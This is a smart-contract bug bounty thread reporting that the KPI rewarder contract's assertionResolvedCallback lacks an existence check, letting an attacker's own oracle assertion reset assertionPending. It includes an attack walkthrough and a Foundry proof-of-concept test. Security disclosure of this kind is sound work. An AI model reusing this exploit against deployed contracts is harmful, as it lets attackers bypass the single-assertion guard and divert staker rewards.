LM_PC_KPIRewarder_v1.sol#assertionResolvedCallback() - `LM_PC_KPIRewarder_v1` can be set as a callback address to another assertion in order to set `assertionPending = false`

[hats-bug-reporter[bot]]

Github username: -- Twitter username: @EgisSec Submission hash (on-chain): 0xd4cfef8c5c2062bdf82d352cef245fa5fd0c49e0532838c0ef40d57dba1ca425 Severity: medium

Description: Description\ assertionResolvedCallback is a necessary function that the contract implements in order to integrate correctly with OOv3.

function assertionResolvedCallback(
        bytes32 assertionId,
        bool assertedTruthfully
    ) public override {
        // First, we perform checks and state management on the parent function.
        super.assertionResolvedCallback(assertionId, assertedTruthfully);

        // If the assertion was true, we calculate the rewards and distribute them.
        if (assertedTruthfully) {
            // SECURITY NOTE: this will add the value, but provides no guarantee that the fundingmanager actually holds those funds.

            // Calculate rewardamount from assertionId value
            KPI memory resolvedKPI =
                registryOfKPIs[assertionConfig[assertionId].KpiToUse];
            uint rewardAmount;

            for (uint i; i < resolvedKPI.numOfTranches; i++) {
                if (
                    resolvedKPI.trancheValues[i]
                        <= assertionConfig[assertionId].assertedValue
                ) {
                    // the asserted value is above tranche end
                    rewardAmount += resolvedKPI.trancheRewards[i];
                } else {
                    // tranche was not completed
                    if (resolvedKPI.continuous) {
                        // continuous distribution
                        uint trancheRewardValue = resolvedKPI.trancheRewards[i];
                        uint trancheStart =
                            i == 0 ? 0 : resolvedKPI.trancheValues[i - 1];

                        uint achievedReward = assertionConfig[assertionId]
                            .assertedValue - trancheStart;
                        uint trancheEnd =
                            resolvedKPI.trancheValues[i] - trancheStart;

                        rewardAmount +=
                            achievedReward * (trancheRewardValue / trancheEnd); // since the trancheRewardValue will be a very big number.
                    }
                    // else -> no reward

                    // exit the loop
                    break;
                }
            }

            _setRewards(rewardAmount, 1);
            assertionConfig[assertionId].distributed = true;
        } else {
            // To keep in line with the upstream contract. If the assertion was false, we delete the corresponding assertionConfig from storage.
            delete assertionConfig[assertionId];
        }

        // Independently of the fact that the assertion resolved true or not, new assertions can now be posted.
        assertionPending = false;
    }

You'll notice the last line, assertionPending = false and the comment above it.

// Independently of the fact that the assertion resolved true or not, new assertions can now be posted

assertionPending was added in response to this issue from the previous report. You can see that the recommendation is to not allow for more than 1 active assertion at a time, otherwise queued stakers can receive rewards for pending assertions. You can read the linked issue to get a better understanding, as the end result of this attack will be the same.

The issue here is that assertionResolvedCallback never checks if assertionId exists, meaning assertionId can be anything, which allows for anyone to use the address of LM_PC_KPIRewarder_v1 as the callbackRecipient of another assertion that wasn't created by LM_PC_KPIReawrder_v1.

In the bellow section I'll explain how this will work.

Attack Scenario\ I'll be quoting several functions from OOv3, which can be found here

1. The orchestrator admin createKPI, users stake and someone calls postAssertion. At this point assertionPending = true, which means no more assertions can be created from the contract, as if postAssertion is called it will fail on this line:

   function postAssertion(
       bytes32 dataId,
       uint assertedValue,
       address asserter,
       uint targetKPI
   ) public onlyModuleRole(ASSERTER_ROLE) returns (bytes32 assertionId) {
       if (assertionPending) {
           revert Module__LM_PC_KPIRewarder_v1__UnresolvedAssertionExists();
       }

2. A malicious user creates his own assertion directly through OOv3 and sets the callbackRecipient to the address of LM_PC_KPIRewarder_v1 and sets escalationManagerSettings.discardOracle = false so when he settles the assertion, _callbackOnAssertionResolve will be called.
3. He disputeAssertion on his own assertion and then calls settleAssertionwhen he knows that settlementResolution = false, meaning that the assertion wasn't asserted truthfuly.
4. _callbackOnAssertionResolve is called, which will call assertionResolvedCallback on the LM_PC_KPIRewarder_v1.
5. assertionResolvedCallback is called with an assertionId that doesn't exist for the LM_PC_KPIRewarder_v1, but that's never checked. Also assertedTruthfully = false, so we enter the else statement:

   else {
           // To keep in line with the upstream contract. If the assertion was false, we delete the corresponding assertionConfig from storage.
           delete assertionConfig[assertionId];
       }

6. Because this is a mapping, this will delete an empty assertionConfig and won't revert.
7. Then we hit the final line of the function, which will set assertionPending = false.

At this point another real assertion can be created with postAssertion, which will be a problem when the first one gets resolved as explained in the issue mentioned above

Attachments

1. Proof of Concept (PoC) File

2. Revised Code File (Optional)

Check that assertionId actually exists and then continue resolving the assertion.

[0xdeth]

To add to this.

The attacker can pull this off even easier.

Inside disputeAssertion there is this check:

        // Send resolve callback if dispute resolution is discarded
        if (assertion.escalationManagerSettings.discardOracle) _callbackOnAssertionResolve(assertionId, false);

An attacker can create an assertion, set discardOracle = true then instantly disputeAssertion in order to call the assertionResolvedCallback on LM_PC_KPIRewarder_v1 and thus reset assertionPending.

[PlamenTSV]

A PoC on this would be helpful, thanks in advance.

[0xdeth]

@PlamenTSV

PoC

Note

Some parts of the OOv3 logic that doesn't concern the attack is dumbed down in order to simplify the test.

Step 1

Inside OptimisticOracleV3Mock.sol change settleAssertion to:

function settleAssertion(bytes32 assertionId) public {
        Assertion storage assertion = assertions[assertionId];
        require(assertion.asserter != address(0), "Assertion does not exist"); // Revert if assertion does not exist.
        require(!assertion.settled, "Assertion already settled"); // Revert if assertion already settled.
        assertion.settled = true;
        if (assertion.disputer == address(0)) {
            // No dispute, settle with the asserter
            require(
                assertion.expirationTime <= getCurrentTime(),
                "Assertion not expired"
            ); // Revert if not expired.
            assertion.settlementResolution = true;
            assertion.currency.safeTransfer(assertion.asserter, assertion.bond);
            _callbackOnAssertionResolve(assertionId, true);

            emit AssertionSettled(
                assertionId, assertion.asserter, false, true, msg.sender
            );
        } else {
            // Just make the callback to simplify the test
            _callbackOnAssertionResolve(assertionId, false);
        }
    }

Only _callbackOnAssertionResolve is added to the else.

Add disputeAssertion in the same file:

     // Simplified disputeAssertion to make the test simpler
     function disputeAssertion(bytes32 assertionId, address disputer) external {
        require(disputer != address(0), "Disputer can't be 0");
        Assertion storage assertion = assertions[assertionId];

        assertion.disputer = disputer;

        assertion.currency.safeTransferFrom(msg.sender, address(this), assertion.bond);
    }

Step 2

Add the following two functions to LM_PC_KPIRewarder_v1.t.sol:

 function setUpStateForSettingKPIRewarderAsCallback()
        public
        returns (bytes32)
    {
        address attacker = address(123);

        feeToken.mint(attacker, ooV3.getMinimumBond(address(feeToken)) * 2);
        vm.prank(attacker);
        feeToken.approve(
            address(ooV3), type(uint256).max
        );

        vm.startPrank(attacker);

        bytes32 assertionId = ooV3.assertTruth(
            abi.encode("ATTACK"),
            attacker,
            address(kpiManager),
            address(0),
            1 days,
            feeToken,
            ooV3.getMinimumBond(address(feeToken)),
            "ASSERT_TRUTH",
            ""
        );
        ooV3.disputeAssertion(assertionId, attacker);
        vm.stopPrank();
        return (assertionId);
    }

    function test_AttackerSetsKpiRewarderAsCallback(
        address[] memory users,
        uint[] memory amounts
    ) public {
        uint assertedIntermediateValue = 250;

        // it should emit an event
        bytes32 createdID;
        uint totalStakedFunds;
        (createdID, users, amounts, totalStakedFunds) =
        setUpStateForAssertionResolution(
            users, amounts, assertedIntermediateValue, true
        );

        // Create the attackers assertion and dispute it
        bytes32 attackerAssertionId =
            setUpStateForSettingKPIRewarderAsCallback();

        // The real assertion is still not settled, so `assertionPending = true`
        assertEq(kpiManager.assertionPending(), true);

        // Settle the attackers assertion
        vm.prank(address(123));
        ooV3.settleAssertion(attackerAssertionId);

        // `assertionPending = false`, because the KPIRewarder was set as the callback of the attackers assertion
        assertEq(kpiManager.assertionPending(), false);
    }

Step 3

Run the test with forge test --mt test_AttackerSetsKpiRewarderAsCallback -vvvv

[0xdeth]

@PlamenTSV @0xmahdirostami

Can you guys please add a label on this, so the sponsor doesn't miss it?

Thanks.